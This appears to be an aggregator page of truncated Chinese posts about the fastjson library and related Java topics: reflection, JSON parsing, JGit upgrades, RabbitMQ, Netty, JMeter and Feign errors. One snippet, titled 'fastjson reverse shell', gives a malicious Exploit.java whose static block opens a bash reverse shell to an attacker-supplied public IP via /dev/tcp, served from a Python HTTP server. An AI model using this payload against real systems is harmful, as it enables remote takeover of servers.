fastjson

java 判断两个bean 是否相等(技术点:反射)

家住魔仙堡 提交于 2020-04-29 15:12:25
知识点: 1. class.getDeclaredFields(); 获取类的所有字段 2.class.getMethods(); 获取类的方法 3.objValue = method.invoke(obj, new Object[] {}); 通过反射获取属性的值,obj对象,new Object[] {} 方法参数 1.bean package com.qimh.springbootfiledemo.utils; import com.alibaba.fastjson.JSONObject; /** * @author ex-qiminhui001 */ public class Person { private String name; private Integer age; private String[] friends; private JSONObject carts; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public String

fastjson 反弹shell

∥☆過路亽.° 提交于 2020-04-28 18:46:08
准备一台公网服务器 cd test python -m SimpleHTTPServer 8888 javac Exploit.java 里面的ip和端口改成你的 import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class Exploit{ public Exploit() {} static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "calc.exe"} : new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/【公网IP】/7778 0>&1"}; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[]

java JSON的使用和解析

旧街凉风 提交于 2020-04-28 14:05:31
There is no royal road to learning. 博主:JavaPanda https://www.cnblogs.com/LearnAndGet/p/10009646.html 目录 1.创建json对象 1.1 创建JSONObject对象 1.2 创建JSONArray对象 2.解析json 2.1 官方json包解析 2.2 fastjson解析 2.3 jackson解析 1.创建json对象 1.1 创建JSONObject对象 使用map初始化json @Test public void test1() { Map<String, Object> map = new LinkedHashMap<String, Object>(); map.put("name", "孙笑川"); map.put("age", 25); map.put("height", 1.70); map.put("major", new String[] { "理发", "挖掘机" }); map.put("hasGirlFriend", false); map.put("car", null); map.put("house", null); //null作为value时,转换成json后不会保存 JSONObject json1 = new JSONObject(map)

通过jgit一次性升级fastjson版本

限于喜欢 提交于 2020-04-28 04:34:02
背景:笔者所在公司经历了三次fastjson的升级,由于集群,工程数量众多,每次升级都很麻烦。因此开发了一个java的升级工具。 功能介绍: 功能介绍:一个jar文件,通过java -jar命令,输入用户名,密码,所负责的git项目主目录,即可对所负责的本地工作区目录下的项目工程中的pom.xml文件进行检测,然后对其依赖的低版本fastjson直接升级到最新版本。 pom依赖: <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.61</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.eclipse.jgit</groupId> <artifactId>org.eclipse.jgit</artifactId> <version>5.1.3.201810200350-r</version> <optional>true</optional> <

RabbitMQ(三) SpringBoot2.x 集成 RabbitMQ

大兔子大兔子 提交于 2020-04-27 03:49:41
3-1 RabbitMQ 整合 SpringBoot2.x 生产者发送消息 创建 SpringBoot 项目 application.properties 配置 spring.rabbitmq.host=192.168.152.128 spring.rabbitmq.port =5672 spring.rabbitmq.username = root spring.rabbitmq.password =root 创建SendService.java SpringBoot 主运行类 3-2 RabbitMQ 整合 SpringBoot2.x 消费者接受消息 创建 SpringBoot 项目 application.properties 配置和上面项目一样 导入rabbitmq依赖 创建ReveiveService.java SpringBoot 主运行类 3-3 使用 JSON 传递消息 发送和接收的 SpringBoot 工程添加 fastjson 依赖 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.36</version> </dependency> 发送和接收的 SpringBoot 工程添加 User 实体类 修改 SendService

Netty中json编解码器(gson实现编码 fastjson实现解码)

谁说胖子不能爱 提交于 2020-04-26 17:36:35
1.ProtoMgr.java package com.my.Game.Proto; import com.alibaba.fastjson.JSON; import com.google.gson.Gson; import com.google.gson.GsonBuilder; public class ProtoMgr { static private GsonBuilder gb = new GsonBuilder(); static private final Gson gson; static { gb.disableHtmlEscaping(); gson = gb.create(); } /** * json编码器 * * @param ctype * @param body * @return */ public static String jsonEncode(int ctype, Object body) { String json = gson.toJson(new Body(ctype, body)); return json; } /** * json解码器 * * @param json * @param tClass * @param <T> * @return */ public static <T> T jsonDecode(String

JMeter【第五篇】关联:jmeter关联的5种方式

帅比萌擦擦* 提交于 2020-04-25 13:43:56
前几天在Q群里看到群友发的最近10年性能测试工具使用率的统计,最近的2018年,jmeter+loadrunner占了93%的使用率,说明这两个是主流,其中,jmeter的使用率逐年提升,现在已经超过了loadrunner,占了51%。 除了做性能,jmeter也可以做自动化测试,比如jmeter + ant + jenkins的自动化测试框架(参考: https://www.cnblogs.com/UncleYong/p/10739519.html ),jmeter还可以做接口功能测试,所以,jmeter应该是每个测试工程师的必备技能。 这里,我们着重讲解jmeter的关联,什么是关联?将服务器提供动态变化的值存放在变量中,当需要使用该变量时,自动从服务器响应的信息中获取该值,并在后面使用的过程中进行替换。(也可能是前端页面动态生成的值) jmeter关联的方式比较多,这里介绍5种方式,总有一种让你喜欢。 如果想了解loadrunner关联的,可以参考LoadRunner【第五篇】关联: https://www.cnblogs.com/UncleYong/p/10702702.html 脚本准备 这里,我们用dummy取样器来模拟服务器的返回,通过关联获取name的值,然后百度搜索这个name的值,这就我们就简单模拟了请求间的依赖关系。 添加dummy取样器 设置返回内容

feign调用其他服务解码错误

倾然丶 夕夏残阳落幕 提交于 2020-04-25 08:10:47
1.在使用A服务通过feign调用B服务时报错: feign.codec.DecodeException: Error while extracting response for type [class com.epoch.bdp.flow.model.vo.runtime.WFTaskVO] and content type [application/json;charset=UTF-8]; nested exception is org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Cannot deserialize value of type `java.time.LocalDateTime` from String "2019-11-27 15:59:13": Failed to deserialize java.time.LocalDateTime: (java.time.format.DateTimeParseException) Text '2019-11-27 15:59:13' could not be parsed at index 10; nested exception is com.fasterxml.jackson.databind

JSON parse error: Cannot deserialize value of type `java.time.LocalDateTime` from String

Deadly 提交于 2020-04-25 06:50:05
在使用Postman测试Spring Boot项目接口时,接口返回JSON parse error: Cannot deserialize value of type `java.time.LocalDateTime` from String错误,如下图: 参数使用JSON格式,POST请求,如下图: createTime变量使用了字符串类型,接口接收参数后将该字符串转为日期时,发生错误,项目中使用fastjson来处理json数据。 此问题解决方法 在接收参数实体类的createtime字段添加JsonFormat注解 @JsonFormat(shape = JsonFormat.Shape.STRING, pattern="yyyy-MM-dd HH:mm:ss") 如下图: 项目重启,再次请求,如果如下: 请求成功,如果使用了Timestamp类型来接口,有可能会报下面的异常: JSON parse error: Can not deserialize value of type java.sql.Timestamp from String 这时,使用上面的方法也可解决问题。 来源: oschina 链接: https://my.oschina.net/u/4331344/blog/3541997

Android爬取网页JSON数据详细教程【新手向】

寵の児 提交于 2020-04-23 14:24:11
这几天做一个Android获取Json的任务, 发现Jsoup只能获取静态页面,无法获取动态页面的Json数据。 有同学给我更正:Jsoup可以爬取动态页面,但必须要加请求头(data),以下为正确例子: String url = "你的网页接口"; Map data = Maps.newHashMap(); data.put("countryCode", "+86"); data.put("mobile", mobile); data.put("password", "f20332f07cdaab9ec0472655a83438d4"); data.put("invitionCode", "PU9HFMNMZ2FL"); data.put("validateCode", codeCallable); data.put("geetest_challenge", challenge); data.put("geetest_validate", validate); data.put("geetest_seccode", validate + "|jordan"); String json = JSON.toJSONString(data); Connection.Response response = Jsoup.connect(url).ignoreContentType(true